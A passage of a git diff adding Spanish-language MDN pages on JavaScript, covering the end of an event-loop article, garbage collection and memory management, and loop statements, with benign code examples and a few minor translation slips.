+<p>Un web worker o cross-origin <code>iframe</code> tiene su propia pila, montículo y cola de mensajes. Dos programas diferentes solo se pueden comunicar enviando mensajes a través del método  <code><a href="/en-US/docs/DOM/window.postMessage" title="/en-US/docs/DOM/window.postMessage">postMessage</a></code>. Este método añade un mensaje al otro programa si éste último escucha eventos de tipo <code>message</code>.</p>
+
+<h2 id="Nunca_se_interrumpe">Nunca se interrumpe</h2>
+
+<p>Una propiedad muy interesante del modelo de loop de eventos es que JavaScript, a diferencia de otros lenguajes, nunca interrumpe otros programas en ejecución. Manejar operaciones de I/O (entrada/salida) es normalmente hecho a través de eventos y llamadas a función, de modo que cuando la aplicación, por ejemplo, está esperando por el retorno de una consulta <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API" title="/en-US/docs/IndexedDB">IndexedDB</a> o una petición <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest" title="/en-US/docs/DOM/XMLHttpRequest">XHR</a>, ésta puede continuar procesando otras cosas como interacciones con el usuario (e.g. clicks).</p>
+
+<p>Excepciones a esta regla existe en versiones anteriores del lenguaje, tales como <code>alert</code> o XHR síncrono, pero es considerada una buena práctica evitar su uso. Finalmente, hay que estar conscientes que hay <a href="http://stackoverflow.com/questions/2734025/is-javascript-guaranteed-to-be-single-threaded/2734311#2734311">excepciones</a> a las excepciones (pero son usualmente errores de implementación mas que otra cosa).</p>
diff --git a/files/es/web/javascript/gestion_de_memoria/index.html b/files/es/web/javascript/gestion_de_memoria/index.html
new file mode 100644
index 0000000000..3e2a47287f
--- /dev/null
+++ b/files/es/web/javascript/gestion_de_memoria/index.html
@@ -0,0 +1,204 @@
+---
+title: Gestión de Memoria
+slug: Web/JavaScript/Gestion_de_Memoria
+tags:
+  - Advanced
+  - JavaScript
+  - Performance
+  - Reference
+  - Referencia
+  - Rendimiento
+  - memoria
+translation_of: Web/JavaScript/Memory_Management
+---
+<div>{{JsSidebar("Advanced")}}</div>
+
+<h2 id="Introducción">Introducción</h2>
+
+<p>Los lenguajes de bajo nivel, como C, tienen primitivos de bajo nivel como <code>malloc() </code>y <code>free() </code>para la gestión de memoria. Por otro lado, para los valores en JavaScript se reserva memoria cuando"cosas" (objetos, strings, etc.) son creados y "automáticamente" liberados cuando ya no son utilizados. El proceso anterior es conocido como <em>Recolección de basura (garbage collection). </em>Su forma "automática" es fuente de confusión, y da la impresión a los desarrolladores de JavaScript (y de otros lenguajes de alto nivel) de poder ignorar el proceso de gestión de memoria. Esto es erróneo. </p>
+
+<h2 id="Ciclo_de_vida_de_memoria">Ciclo de vida de memoria</h2>
+
+<p>Sin importar el lenguaje de programación, el ciclo de memoria es casi siempre parecido al siguiente:</p>
+
+<ol>
+ <li>Reservar la memoria necesaria</li>
+ <li>Utilizarla (lectura, escritura)</li>
+ <li>Liberar la memoria una vez ya no es necesaria.</li>
+</ol>
+
+<p>El primer y el segundo paso son explícitos en todos los lenguajes. El último paso es explícito en lenguajes de bajo nivel, pero es mayormente implícito en lenguajes de alto nivel como JavaScript</p>
+
+<h3 id="Reserva_de_memoria_en_JavaScript">Reserva de memoria en JavaScript</h3>
+
+<h4 id="Inicialización_de_valores">Inicialización de valores</h4>
+
+<p>Para no agobiar al programador con reservas de memoria, JavaScript las realiza al mismo tiempo que la declaración de los valores.</p>
+
+<pre class="brush: js">var n = 123; // reserva memoria para un número
+var s = "azerty"; // reserva memoria para un string
+
+var o = {
+  a: 1,
+  b: null
+}; // reserva memoria para un objeto y los valores que
+   // contiene
+
+// (similar a objeto) reserva memoria para el arreglo y
+// los valores que contiene
+var a = [1, null, "abra"];
+
+function f(a){
+  return a + 2;
+} // reserva memoria para una funcion (la cual es un objeto)
+
+// las expresiones de función tambien reservan memoria para un objeto
+someElement.addEventListener('click', function(){
+  someElement.style.backgroundColor = 'blue';
+}, false);
+</pre>
+
+<h4 id="Reserva_de_memoria_al_llamar_una_función">Reserva de memoria al llamar una función</h4>
+
+<p>En ocasiones al llamar a una función se reserva memoria para un objeto.</p>
+
+<pre class="brush: js">var d = new Date();
+// reserva memoria para un elemento del DOM
+var e = document.createElement('div');
+</pre>
+
+<p>Algunos métodos reservan memoria para nuevos valores u objetos:</p>
+
+<pre class="brush: js">var s = "azerty";
+var s2 = s.substr(0, 3); // s2 es un nuevo string
+// Como los strings son valores inmutables,
+// JavaScript puede NO reservar memoria para este,
+// y solo almacenar el rango [0, 3].
+
+var a = ["ouais ouais", "nan nan"];
+var a2 = ["generation", "nan nan"];
+var a3 = a.concat(a2);
+// nuevo arreglo con 4 elementos resultado de
+// concatenar los elementos de a y a2
+</pre>
+
+<h3 id="Usando_valores">Usando valores</h3>
+
+<p>Usar un valor es simplemente leerlo o escribirlo en memoria reservada. Esto puede ocurrir al leer o escribir el valor de una variable o de una propiedad de un objeto, inclusive pasando un argumento a una función.</p>
+
+<h3 id="Liberar_la_memoria_cuando_ya_no_es_necesaria">Liberar la memoria cuando ya no es necesaria</h3>
+
+<p>En este punto ocurren la mayoria de los inconvenientes con la gestión de memoria. Lo más díficil es encontrar el cuándo la "memoria ya no es necesaria". En algunas ocasiones, es necesario que el desarrollador determine en qué parte de un programa esa parte de memoria ya no es necesaria y la libere.</p>
+
+<p>Los lenguajes de alto nivel incluyen una herramienta de software conocida como "recolector de basura" <em>(garbage collector), </em>cuya función es rastrear las reservas de memoria y su utilización, para así encontrar cuándo cierta parte de la memoria ya no es necesaria, y en su momento liberarla automáticamente.  Este proceso es sólo una aproximación al problema general de saber cuándo una parte de la memoria ya no es necesaria, ya que éste es <a href="http://es.wikipedia.org/wiki/Problema_indecidible">indecidible</a> (no puede ser resuelto por un algoritmo).</p>
+
+<h2 id="Recolección_de_basura_(Garbage_collection)">Recolección de basura (Garbage collection)</h2>
+
+<p>Como antes se mencionaba el problema general de encontrar automáticamente cuando la memoria "ya no es necesaria" es indecidible. Como consecuencia, las recolecciones de basura implementan sólo una restricción a la solución del problema general. En esta sección se explicarán las nociones necesarias para entender los principales algoritmos de recolección de basura y sus limitaciones.</p>
+
+<h3 id="Referencias">Referencias</h3>
+
+<p>La noción principal de los algoritmos de recolección se basan en la noción de <em>referencia</em>. Dentro del contexto de gestión de memoria, se dice que un objeto hace referencia a otro si el primero tiene acceso al segundo (ya sea de forma implícita o explícita). Por ejemplo, un objeto de JavaScript guarda una referencia a su <a href="http://es.wikipedia.org/wiki/JavaScript#Protot.C3.ADpico">prototipo</a> (referencia implícita) y a cualquiera de los valores de sus propiedades (referencia explícita)</p>
+
+<p>Hay que mencionar que en este contexto la noción de "objeto" se refiere a algo más amplio que los objetos normales de JavaScript y que también incluye al ámbito de la función (o ámbito de léxico global).</p>
+
+<h3 id="Recolección_de_basura_a_través_de_conteo_de_referencias">Recolección de basura a través de conteo de referencias</h3>
+
+<p>Éste es el algoritmo de recolección más simple. Este algoritmo reduce la definición de "un objejo ya no es necesario" a "un objeto ya no tiene ningún otro objeto que lo referencíe". Un objeto es considerado recolectable si existen cero referencias hacia él.</p>
+
+<h4 id="Ejemplo">Ejemplo</h4>
+
+<pre class="brush: js">var o = {
+  a: {
+    b:2
+  }
+};
+// Se crean dos objetos. Uno es referenciado por el otro como
+// una de sus propiedades.
+// El otro es referenciado al ser asignado a la variable "o"
+// Ninguno puede ser recolectado.
+
+
+var o2 = o; // la variable "o2" es lo segundo en tener una
+            // referencia al objeto.
+o = 1;      // ahora el objeto solo tiene una referencia mediante
+            // la variable "o2"
+
+var oa = o2.a; // referencia a la propiedad "a" del objeto.
+               // ahora el objeto posee dos referencias, una como propiedad
+               // la otra como la variable "oa"
+
+o2 = "yo"; // el objeto original "o" ahora ya no tiene
+           // referencias a él. Podría ser recolectado.
+           // Sin embargo lo que había en la propiedad "a" aún
+           // esta refernciado en la variable "oa";
+           // no puede ser recolectado aún
+
+oa = null; // lo que estaba en la propiedad "a" del objeto original "o"
+           // ahora ya no tiene ninguna referencia.Puede ser recolectado.
+</pre>
+
+<h4 id="Limitación_ciclos">Limitación : ciclos</h4>
+
+<p>Existe una limitación cuando se trata de ciclos.  En el siguiente ejemplo dos objetos son creados y se referencían entre ellos -por lo que se crea un ciclo. Ellos no saldrán del ámbito de la función después del llamado de la función, con lo que serían efectivamente "ya no son necesarios" y por lo cual ser liberados. Sin embargo, el algoritmo de conteo de referencias considera que ya que cada uno de los dos objetos está referenciado por lo menos una vez, ninguno podra ser recolectado. Este simple algoritmo tiene la limitación de que si un grupo de objetos se referencian a sí mismos (y forman un ciclo), nunca pasarán a "ya no ser necesitados" y no podrán ser recolectados nunca.</p>
+
+<pre class="brush: js">function f(){
+  var o = {};
+  var o2 = {};
+  o.a = o2; // o referencía o2
+  o2.a = o; // o2 referencía o
+
+  return "azerty";
+}
+
+f();
+// Dos objetos son creados y se referencían uno al otro creando un ciclo
+// Estan atrapados en el scope de la funcion después de la llamada
+// por lo que son inútiles fuera de la función y podrían ser recolectados.
+// Sin embargo, el algoritmo de conteo de referencias considera que como
+// ambos objetos estan referenciados (aunque sean a si mismos) ambos
+// siguen en uso y por lo tanto no pueden ser recolectados.
+
+</pre>
+
+<h4 id="Ejemplo_real_aplicado">Ejemplo real aplicado</h4>
+
+<p>Internet Explorer 6 y 7 son conocidos por tener recolectores de basura por conteo de referencias para los objetos del DOM. Los Ciclos son un error común que pueden generar <em>fugas de memoria</em> (<em><a href="http://es.wikipedia.org/wiki/Fuga_de_memoria">memory leaks) (art. en inglés)</a>:</em></p>
+
+<pre class="brush: js">var div;
+window.onload = function(){
+  div = document.getElementById("miDiv");
+  div<span style="font-size: 1rem;">.referenciaCircular = div;</span>
+  div.muchosDatos = new Array(10000).join("*");
+};
+</pre>
+
+<p>En el ejemplo anterior, el elemento del DOM "miDiv" posée una referencia circular a sí mismo en la propiedad "referenciaCircular". Si la propiedad no es explícitamente removida o asignada con el valor <em>null</em>,  un algoritmo de conteo de referencias siempre va a dejar por lo menos una referencia intacta y va a mantener el elemento del DOM activo en memoria incluso cuando es removido del DOM. Si el objeto del DOM contiene una gran cantidad de datos (ejemplificado en la propiedad "muchosDatos"), la memoria consumida por estos datos nunca será liberada.</p>
+
+<h3 id="Algoritmo_Mark-and-sweep_(Marcado_y_barrido)">Algoritmo Mark-and-sweep (Marcado y barrido)</h3>
+
+<p>Este algoritmo reduce la definición de "un objeto ya no es necesitado" a "un objeto es inalcanzable"</p>
+
+<p>Este algoritmo asume la noción de un grupo de objetos llamados <em>objetos raíz</em> (en JavaScript la raíz es el objeto global). Periódicamente el recolector empieza por estas raíces, encuentra todos los objetos que están referenciados por estas raíces, y luego todos los objetos referenciados de estos, etc. Empezando por las raíces, el recolector de esta forma encontrará todos los objetos que son <em>alcanzables</em> y recolectará los objetos inalcanzables.</p>
+
+<p>Este algoritmo es mejor que el anterior ya que "un objeto tiene cero referencias" equivale al "objeto es inalcanzable". Esto no sucedía asi en el algoritmo anterior cuando se trataba de un ciclo.</p>
+
+<p>Desde el 2012, todos los navegadores incluyen un recolector de basura basado en mark-and-sweep. Todas las mejoras realizadas en el campo de Recolección de basura en JavaScript (recolección generacional/incremental/concurrida/paralela) en los ultimos años son mejoras a la implementación del algoritmo, pero no mejoras sobre el algoritmo de recolección ni a la reducción de la definicion de cuando"un objeto ya no es necesario".</p>
+
+<h4 id="Los_ciclos_son_problema_del_pasado">Los ciclos son problema del pasado</h4>
+
+<p>En el primer ejemplo, después de que la llamada a una función termina, los dos objetos ya no son referenciados por nada alcanzable desde el objeto global. De esta forma serán identificados como inalcanzables por el recolector de basura.</p>
+
+<p>Lo mismo ocurre en el segundo ejemplo. Una vez que el elemento div y sus métodos se hacen inalcanzable desde los objetos raíz, ambos pueden ser recolectados a pesar de que estén referenciados los unos de los otros.</p>
+
+<h4 id="Limitación_los_objetos_necesarios_se_hacen_inalcanzables_de_forma_explícita.">Limitación: los objetos necesarios se hacen inalcanzables de forma explícita.</h4>
+
+<p>Aunque esto está marcado como una limitación, se puede encontrar muy poco en la práctica. Ésta es la razón por la cuál la recolección de basura es poco tomada en cuenta.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a class="external" href="http://www.ibm.com/developerworks/web/library/wa-memleak/">IBM article on "Memory leak patterns in JavaScript" (2007) (art. en inglés)</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/magazine/ff728624.aspx">Kangax article on how to register event handler and avoid memory leaks (2010) (art. en inglés)</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Mozilla/Performance" title="https://developer.mozilla.org/en-US/docs/Mozilla/Performance">Performance (art. en inglés) </a></li>
+</ul>
diff --git a/files/es/web/javascript/guide/bucles_e_iteración/index.html b/files/es/web/javascript/guide/bucles_e_iteración/index.html
new file mode 100644
index 0000000000..07b7c12e31
--- /dev/null
+++ b/files/es/web/javascript/guide/bucles_e_iteración/index.html
@@ -0,0 +1,334 @@
+---
+title: Bucles e iteración
+slug: Web/JavaScript/Guide/Bucles_e_iteración
+tags:
+  - Bucle
+  - Guia(2)
+  - Guía
+  - Iteración
+  - JavaScript
+  - Sintaxis
+translation_of: Web/JavaScript/Guide/Loops_and_iteration
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Control_flow_and_error_handling", "Web/JavaScript/Guide/Functions")}}</div>
+
+<p class="summary">Los bucles ofrecen una forma rápida y sencilla de hacer algo repetidamente. Este capítulo de la {{JSxRef("../Guide", "Guía de JavaScript")}} presenta las diferentes declaraciones de iteración disponibles para JavaScript.</p>
+
+<p>Puedes pensar en un bucle como una versión computarizada del juego en la que le dices a alguien que dé <em>X</em> pasos en una dirección y luego <em>Y</em> pasos en otra. Por ejemplo, la idea "Ve cinco pasos hacia el este" se podría expresar de esta manera como un bucle:</p>
+
+<pre class="brush: js notranslate">for (let step = 0; step &lt; 5; step++) {
+  // Se ejecuta 5 veces, con valores del paso 0 al 4.
+  console.log('Camina un paso hacia el este');
+}
+</pre>
+
+<p>Hay muchos diferentes tipos de bucles, pero esencialmente, todos hacen lo mismo: repiten una acción varias veces. (¡Ten en cuenta que es posible que ese número sea cero!).</p>
+
+<p>Los diversos mecanismos de bucle ofrecen diferentes formas de determinar los puntos de inicio y terminación del bucle. Hay varias situaciones que son fácilmente atendidas por un tipo de bucle que por otros.</p>
+
+<p>Las declaraciones para bucles proporcionadas en JavaScript son:</p>
+
+<ul>
+ <li>{{anch("Declaracion_for", "Declaración for")}}</li>
+ <li>{{anch("Declaracion_do...while", "Declaración do...while")}}</li>
+ <li>{{anch("Declaracion_while", "Declaración while")}}</li>
+ <li>{{anch("Declaracion_labeled", "Declaración labeled")}}</li>
+ <li>{{anch("Declaracion_break", "Declaración break")}}</li>
+ <li>{{anch("Declaracion_continue", "Declaración continue")}}</li>
+ <li>{{anch("Declaracion_for...in", "Declaración for...in")}}</li>
+ <li>{{anch("Declaracion_for...of", "Declaración for...of")}}</li>
+</ul>
+
+<h2 id="Declaración_for">Declaración <code>for</code></h2>
+
+<p>Un ciclo {{JSxRef("Sentencias/for", "for")}} se repite hasta que una condición especificada se evalúe como <code>false</code>. El bucle <code>for</code> de JavaScript es similar al bucle <code>for</code> de Java y C.</p>
+
+<p>Una declaración <code>for</code> tiene el siguiente aspecto:</p>
+
+<pre class="syntaxbox notranslate">for ([expresiónInicial]; [expresiónCondicional]; [expresiónDeActualización])
+  instrucción
+</pre>
+
+<p>Cuando se ejecuta un bucle <code>for</code>, ocurre lo siguiente:</p>
+
+<ol>
+ <li>Se ejecuta la expresión de iniciación <code>expresiónInicial</code>, si existe. Esta expresión normalmente inicia uno o más contadores de bucle, pero la sintaxis permite una expresión de cualquier grado de complejidad. Esta expresión también puede declarar variables.</li>
+ <li>Se evalúa la expresión <code>expresiónCondicional</code>. Si el valor de <code>expresiónCondicional</code> es verdadero, se ejecutan las instrucciones del bucle. Si el valor de <code>condición</code> es falso, el bucle <code>for</code> termina. (Si la expresión <code>condición</code> se omite por completo, se supone que la condición es verdadera).</li>
+ <li>Se ejecuta la <code>instrucción</code>. Para ejecutar varias instrucciones, usa una declaración de bloque (<code>{ ... }</code>) para agrupar esas declaraciones.</li>
+ <li>Si está presente, se ejecuta la expresión de actualización <code>expresiónDeActualización</code>.</li>
+ <li>El control regresa al paso 2.</li>
+</ol>
+
+<h3 id="Ejemplo"><strong>Ejemplo</strong></h3>
+
+<p>En el siguiente ejemplo, la función contiene una instrucción <code>for</code> que cuenta el número de opciones seleccionadas en una lista de desplazamiento (el elemento {{HTMLElement("select")}} de HTML representa un control que proporciona un menú de opciones que permite múltiples selecciones). La instrucción <code>for</code> declara la variable <code>i</code> y la inicia a <code>0</code>. Comprueba que <code>i</code> es menor que el número de opciones en el elemento <code>&lt;select&gt;</code>, realiza la siguiente instrucción <code>if</code> e incrementa <code>i</code> después de cada pasada por el bucle.</p>
+
+<pre class="brush: html notranslate">&lt;form name="selectForm"&gt;
+  &lt;p&gt;
+    &lt;label for="musicTypes"&gt;Elija algunos tipos de música, luego haga clic en el botón de abajo:&lt;/label&gt;
+    &lt;select id="musicTypes" name="musicTypes" multiple="multiple"&gt;
+      &lt;option selected="selected"&gt;R&amp;B&lt;/option&gt;
+      &lt;option&gt;Jazz&lt;/option&gt;
+      &lt;option&gt;Blues&lt;/option&gt;
+      &lt;option&gt;New Age&lt;/option&gt;
+      &lt;option&gt;Classical&lt;/option&gt;
+      &lt;option&gt;Opera&lt;/option&gt;
+    &lt;/select&gt;
+  &lt;/p&gt;
+  &lt;p&gt;&lt;input id="btn" type="button" value="¿Cuántos están seleccionados?" /&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;script&gt;
+function howMany(selectObject) {
+  let numberSelected = 0;
+  for (let i = 0; i &lt; selectObject.options.length; i++) {
+    if (selectObject.options[i].selected) {
+      numberSelected++;
+    }
+  }
+  return numberSelected;
+}
+
+let btn = document.getElementById('btn');
+btn.addEventListener('click', function() {
+  alert('Número de opciones seleccionadas: ' + howMany(document.selectForm.musicTypes));
+});
+&lt;/script&gt;
+
+</pre>
+
+<h2 id="Declaración_do...while">Declaración <code>do...while</code></h2>
+
+<p>La instrucción {{JSxRef("Sentencias/do...while", "do...while")}} se repite hasta que una condición especificada se evalúe como falsa.</p>
+
+<p>Una declaración <code>do...while</code> tiene el siguiente aspecto:</p>
+
+<pre class="syntaxbox notranslate">do
+  <em>expresión</em>
+while (condición);
+</pre>
+
+<p><em><code>exposición</code></em> siempre se ejecuta una vez antes de que se verifique la condición. (Para ejecutar varias instrucciones, usa una declaración de bloque (<code>{ ... }</code>) para agrupar esas declaraciones).</p>
+
+<p>Si <code>condición</code> es <code>true</code>, la declaración se ejecuta de nuevo. Al final de cada ejecución, se comprueba la condición. Cuando la condición es <code>false</code>, la ejecución se detiene y el control pasa a la declaración que sigue a <code>do...while</code>.</p>
+
+<h3 id="Ejemplo_2"><strong>Ejemplo</strong></h3>
+
+<p>En el siguiente ejemplo, el bucle <code>do</code> itera al menos una vez y se repite hasta que <code><em>i</em></code> ya no sea menor que <code>5</code>.</p>
+
+<p>let i = 0; do { i += 1; console.log(i); } while (i &lt; 5);</p>
+
+<h2 id="Declaración_while">Declaración <code>while</code></h2>
+
+<p>Una declaración {{JSxRef("Sentencias/while", "while")}} ejecuta sus instrucciones siempre que una condición especificada se evalúe como <code>true</code>. Una instrucción <code>while</code> tiene el siguiente aspecto:</p>
+
+<pre class="syntaxbox notranslate">while (<em>condición</em>)
+  <em>expresión</em>
+</pre>
+
+<p>Si la <em><code>condición</code></em> se vuelve <code>false</code>, la <code>instrucción</code> dentro del bucle se deja de ejecutar y el control pasa a la instrucción que sigue al bucle.</p>
+
+<p>La prueba de condición ocurre <em>antes</em> de que se ejecute la <code>expresión</code> en el bucle. Si la condición devuelve <code>true</code>, se ejecuta la <code>expresión</code> y la <em><code>condición</code></em> se prueba de nuevo. Si la condición devuelve <code>false</code>, la ejecución se detiene y el control se pasa a la instrucción que sigue a <code>while</code>.</p>
+
+<p>Para ejecutar varias instrucciones, usa una declaración de bloque (<code>{ ... }</code>) para agrupar esas declaraciones.</p>
+
+<h3 id="Ejemplo_1"><strong>Ejemplo 1</strong></h3>
+
+<p>El siguiente ciclo del <code>while</code> se repite siempre que <em><code>n</code></em> sea menor que <code>3</code>:</p>
+
+<pre class="brush: js notranslate">let n = 0;
+let x = 0;
+while (n &lt; 3) {
+  n++;
+  x += n;
+}
+</pre>
+
+<p>Con cada iteración, el bucle incrementa <code>n</code> y agrega ese valor a <code>x</code>. Por lo tanto, <code>x</code> y <code>n</code> toman los siguientes valores:</p>
+
+<ul>
+ <li>Después de la primera pasada: <code>n</code> = <code>1</code> y <code>x</code> = <code>1</code></li>
+ <li>Después de la segunda pasada: <code>n</code> = <code>2</code> y <code>x</code> = <code>3</code></li>
+ <li>Después de la tercera pasada: <code>n</code> = <code>3</code> y <code>x</code> = <code>6</code></li>
+</ul>
+
+<p>Después de completar la tercera pasada, la condición <code>n &lt; 3</code> ya no es <code>true</code>, por lo que el bucle termina.<strong>Ejemplo 2</strong></p>
+
+<p>Evita los bucles infinitos. Asegúrate de que la condición en un bucle eventualmente se convierta en <code>false</code>; de lo contrario, el bucle nunca terminará. Las declaraciones en el siguiente bucle <code>while</code> se ejecutan indefinidamente porque la condición nunca se vuelve <code>false</code>:</p>
+
+<pre class="example-bad brush: js notranslate">// ¡Los bucles infinitos son malos!
+while (true) {
+  console.log('¡Hola, mundo!');
+}</pre>
+
+<h2 id="Declaración_labeled">Declaración <code>labeled</code></h2>
+
+<p>Una {{JSxRef("Sentencias/label", "label")}} proporciona una instrucción con un identificador que te permite hacer referencia a ella en otra parte de tu programa. Por ejemplo, puedes usar una etiqueta para identificar un bucle y luego usar las declaraciones <code>break</code> o <code>continue</code> para indicar si un programa debe interrumpir el bucle o continuar su ejecución.La sintaxis de la instrucción etiquetada es similar a la siguiente:label : instrucción</p>
+
+<p>El valor de <code><em>label</em></code> puede ser cualquier identificador de JavaScript que no sea una palabra reservada. La <code><em>declaración</em></code> que identifica a una etiqueta puede ser cualquier enunciado.</p>
+
+<p><strong>Ejemplo</strong></p>
+
+<p>En este ejemplo, la etiqueta <code>markLoop</code> identifica un bucle <code>while</code>.</p>
+
+<p>markLoop: while (theMark === true) { doSomething(); }</p>
+
+<p>Declaración <code>break</code></p>
+
+<p>Usa la instrucción {{JSxRef("Sentencias/break", "break")}} para terminar un bucle, <code>switch</code> o junto con una declaración etiquetada.</p>
+
+<ul>
+ <li>Cuando usas <code>break</code> sin una etiqueta, inmediatamente termina el <code>while</code>, <code>do-while</code>, <code>for</code> o <code>switch</code> y transfiere el control a la siguiente declaración.</li>
+ <li>Cuando usas <code>break</code> con una etiqueta, termina la declaración etiquetada especificada.</li>
+</ul>
+
+<p>La sintaxis de la instrucción <code>break</code> se ve así:</p>
+
+<pre class="syntaxbox notranslate">break;
+break [<em>label</em>];
+</pre>
+
+<ol>
+ <li>La primera forma de la sintaxis termina el bucle envolvente más interno o el <code>switch.</code></li>
+ <li>La segunda forma de la sintaxis termina la instrucción etiquetada específica.</li>
+</ol>
+
+<h3 id="Ejemplo_1_2"><strong>Ejemplo</strong> <strong>1</strong></h3>
+
+<p>El siguiente ejemplo recorre en iteración los elementos de un arreglo hasta que encuentra el índice de un elemento cuyo valor es <code>theValue</code>:</p>
+
+<pre class="brush: js notranslate">for (let i = 0; i &lt; a.length; i++) {
+  if (a[i] === theValue) {
+    break;
+  }
+}</pre>
+
+<h3 id="Ejemplo_2_romper_una_etiqueta"><strong>Ejemplo 2:</strong> romper una etiqueta</h3>
+
+<pre class="brush: js notranslate">let x = 0;
+let z = 0;
+labelCancelLoops: while (true) {
+  console.log('Bucles externos: ' + x);
+  x += 1;
+  z = 1;
+  while (true) {
+    console.log('Bucles internos: ' + z);
+    z += 1;
+    if (z === 10 &amp;&amp; x === 10) {
+      break labelCancelLoops;
+    } else if (z === 10) {
+      break;
+    }
+  }
+}
+</pre>
+
+<h2 id="Declaración_continue">Declaración <code>continue</code></h2>
+
+<p>La instrucción {{JSxRef("Sentencias/continue", "continue")}} se puede usar para reiniciar un <code>while</code>, <code>do-while</code>, <code>for</code>, o declaración <code>label</code>.</p>
+
+<ul>
+ <li>Cuando utilizas <code>continue</code> sin una etiqueta, finaliza la iteración actual del <code>while</code>, <code>do-while</code> o <code>for</code> y continúa la ejecución del bucle con la siguiente iteración. A diferencia de la instrucción <code>break</code>, <code>continue</code> no termina la ejecución del bucle por completo. En un bucle <code>while</code>, vuelve a la condición. En un bucle <code>for</code>, salta a la <code>expresión-incremento</code>.</li>
+ <li>Cuando usas <code>continue</code> con una etiqueta, se aplica a la declaración de bucle identificada con esa etiqueta.</li>
+</ul>
+
+<p>La sintaxis de la instrucción <code>continue</code> se parece a la siguiente:</p>
+
+<pre class="syntaxbox notranslate">continue [<em>label</em>];
+</pre>
+
+<h3 id="Ejemplo_1_3"><strong>Ejemplo 1</strong></h3>
+
+<p>El siguiente ejemplo muestra un bucle <code>while</code> con una instrucción <code>continue</code> que se ejecuta cuando el valor de <code>i</code> es <code>3</code>. Por lo tanto, <code>n</code> toma los valores <code>1</code>, <code>3</code>, <code>7</code> y <code>12</code>.</p>
+
+<pre class="brush: js notranslate">let i = 0;
+let n = 0;
+while (i &lt; 5) {
+  i++;
+  if (i === 3) {
+    continue;
+  }
+  n += i;
+  console.log(n);
+}
+//1,3,7,12
+
+
+let i = 0;
+let n = 0;
+while (i &lt; 5) {
+  i++;
+  if (i === 3) {
+     // continue;
+  }
+  n += i;
+  console.log(n);
+}
+// 1,3,6,10,15
+</pre>
+
+<h3 id="Ejemplo_2_2"><strong>Ejemplo 2</strong></h3>
+
+<p>Una declaración etiquetada <em><code>checkiandj</code></em> contiene una declaración etiquetada <em><code>checkj</code></em>. Si se encuentra <code>continue</code>, el programa termina la iteración actual de <em><code>checkj</code></em> y comienza la siguiente iteración. Cada vez que se encuentra <code>continue</code>, <em><code>checkj</code></em> reitera hasta que su condición devuelve <code>false</code>. Cuando se devuelve <code>false</code>, el resto de la instrucción <em><code>checkiandj</code></em> se completa y <em><code>checkiandj</code></em> reitera hasta que su condición devuelve <code>false</code>. Cuando se devuelve <code>false</code>, el programa continúa en la declaración que sigue a <em><code>checkiandj</code></em>.</p>
+
+<p>Si <code>continue</code> tuviera una etiqueta de <em><code>checkiandj</code></em>, el programa continuaría en la parte superior de la declaración <em><code>checkiandj</code></em>.</p>
+
+<p>let i = 0; let j = 10; checkiandj: while (i &lt; 4) { console.log(i); i += 1; checkj: while (j &gt; 4) { console.log(j); j -= 1; if ((j % 2) === 0) { continue checkj; } console.log(j + 'es impar.'); } console.log('i = ' + i); console.log('j = ' + j); }</p>
+
+<h2 id="Declaración_for...in">Declaración <code>for...in</code></h2>
+
+<p>La instrucción {{JSxRef("Sentencias/for...in", "for...in")}} itera una variable especificada sobre todas las propiedades enumerables de un objeto. Para cada propiedad distinta, JavaScript ejecuta las instrucciones especificadas. Una declaración <code>for...in</code> tiene el siguiente aspecto:</p>
+
+<pre class="syntaxbox notranslate">for (variable in objeto)
+  instrucción
+</pre>
+
+<h3 id="Ejemplo_3"><strong>Ejemplo</strong></h3>
+
+<p>La siguiente función toma como argumento un objeto y el nombre del objeto. Luego itera sobre todas las propiedades del objeto y devuelve una cadena que enumera los nombres de las propiedades y sus valores.</p>
+
+<pre class="brush: js notranslate">function dump_props(obj, obj_name) {
+  let result = '';
+  for (let i in obj) {
+    result += obj_name + '.' + i + ' = ' + obj[i] + '&lt;br&gt;';
+  }
+  result += '&lt;hr&gt;';
+  return result;
+}
+</pre>
+
+<p>Para un objeto <code>car</code> con propiedades <code>make</code> y <code>model</code>, <code>result</code> sería:</p>
+
+<pre class="brush: js notranslate">car.make = Ford
+car.model = Mustang
+</pre>
+
+<h3 id="Arrays"><strong>Arrays</strong></h3>
+
+<p>Aunque puede ser tentador usar esto como una forma de iterar sobre los elementos {{JSxRef("Array")}}, la instrucción <code>for...in</code> devolverá el nombre de sus propiedades definidas por el usuario además de los índices numéricos.</p>
+
+<p>Por lo tanto, es mejor usar un bucle {{JSxRef("Sentencias/for", "for")}} tradicional con un índice numérico cuando se itera sobre arreglos, porque la instrucción <code>for...in</code> itera sobre las propiedades definidas por el usuario además de los elementos del arreglo, si modificas el objeto <code>Array</code> (tal como agregar propiedades o métodos personalizados).</p>
+
+<h2 id="Declaración_for...of">Declaración <code>for...of</code></h2>
+
+<p>La declaración {{JSxRef("Sentencias/for...of", "for...of")}} crea un bucle que se repite sobre {{JSxRef("../Guide/iterable", "objetos iterables")}} (incluidos {{JSxRef("Array")}}, {{JSxRef("Map")}}, {{JSxRef("Set")}}, objetos {{JSxRef("Funciones/arguments", "arguments")}} y así sucesivamente), invocando un gancho de iteración personalizado con declaraciones que se ejecutarán para el valor de cada distinta propiedad.</p>
+
+<pre class="syntaxbox notranslate">para (<em>variable</em> of <em>objeto</em>)
+  <em>expresión</em>
+</pre>
+
+<p>El siguiente ejemplo muestra la diferencia entre un bucle for<code>...in</code> y un bucle {{JSxRef("Sentencias/for...in", "for...in")}}. Mientras que <code>for...in</code> itera sobre los nombres de propiedad, <code>for...of</code> itera sobre los valores de propiedad:</p>
+
+<pre class="brush:js notranslate">const arr = [3, 5, 7];
+arr.foo = 'hola';
+
+for (let i in arr) {
+   console.log(i); // logs "0", "1", "2", "foo"
+}
+
+for (let i of arr) {
+   console.log(i); // logs 3, 5, 7
+}
+</pre>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Control_flow_and_error_handling", "Web/JavaScript/Guide/Functions")}}</p>
diff --git a/files/es/web/javascript/guide/colecciones_indexadas/index.html b/files/es/web/javascript/guide/colecciones_indexadas/index.html
new file mode 100644
index 0000000000..baf55a84d5
